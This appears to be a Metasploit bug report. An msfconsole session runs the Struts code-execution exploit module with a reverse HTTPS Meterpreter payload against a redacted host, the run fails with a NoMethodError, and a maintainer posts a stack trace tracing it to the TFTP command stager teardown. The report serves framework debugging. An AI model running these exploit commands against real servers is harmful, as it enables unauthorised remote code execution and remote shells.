cmdstager: NoMethodError undefined method `stop' for nil:NilClass

[hatRiot]

$ msfconsole -v
Framework Version: 4.10.0-2014102901

msf > use exploit/multi/http/struts_code_exec
[...]
msf exploit(struts_code_exec) > set PAYLOAD windows/meterpreter/reverse_https
[...]
msf exploit(struts_code_exec) > exploit

[*] Started HTTPS reverse handler on https://0.0.0.0:8443/
[*] Sending request to [redacted]
[*] Command Stager progress -  59.09% done (26/44 bytes)
[*] Command Stager progress - 100.00% done (44/44 bytes)
[-] Exploit failed: NoMethodError undefined method `stop' for nil:NilClass
msf exploit(struts_code_exec) > 

Tested with a few different payloads; failure point seems to be somewhere in execute_cmdstager({ :temp => '.' }) teardown.

[wchen-r7]

Confirmed bug:

[11/09/2014 13:54:10] [e(0)] core: Exploit failed (multi/http/struts_code_exec): NoMethodError undefined method `stop' for nil:NilClass
[11/09/2014 13:54:10] [d(3)] core: Call stack:
msf/lib/rex/exploitation/cmdstager/tftp.rb:41:in `teardown'
msf/lib/msf/core/exploit/cmdstager.rb:97:in `execute_cmdstager'
msf/modules/exploits/multi/http/struts_code_exec.rb:93:in `windows_stager'
msf/modules/exploits/multi/http/struts_code_exec.rb:145:in `exploit'
msf/lib/msf/core/exploit_driver.rb:205:in `job_run_proc'
msf/lib/msf/core/exploit_driver.rb:166:in `run'
msf/lib/msf/base/simple/exploit.rb:136:in `exploit_simple'
msf/lib/msf/base/simple/exploit.rb:161:in `exploit_simple'
msf/lib/msf/ui/console/command_dispatcher/exploit.rb:111:in `cmd_exploit'
msf/lib/rex/ui/text/dispatcher_shell.rb:427:in `run_command'
msf/lib/rex/ui/text/dispatcher_shell.rb:389:in `block in run_single'
msf/lib/rex/ui/text/dispatcher_shell.rb:383:in `each'
msf/lib/rex/ui/text/dispatcher_shell.rb:383:in `run_single'
msf/lib/rex/ui/text/shell.rb:200:in `run'
msf/lib/metasploit/framework/command/console.rb:30:in `start'
msf/lib/metasploit/framework/command/base.rb:82:in `start'
./msfconsole:48:in `<main>'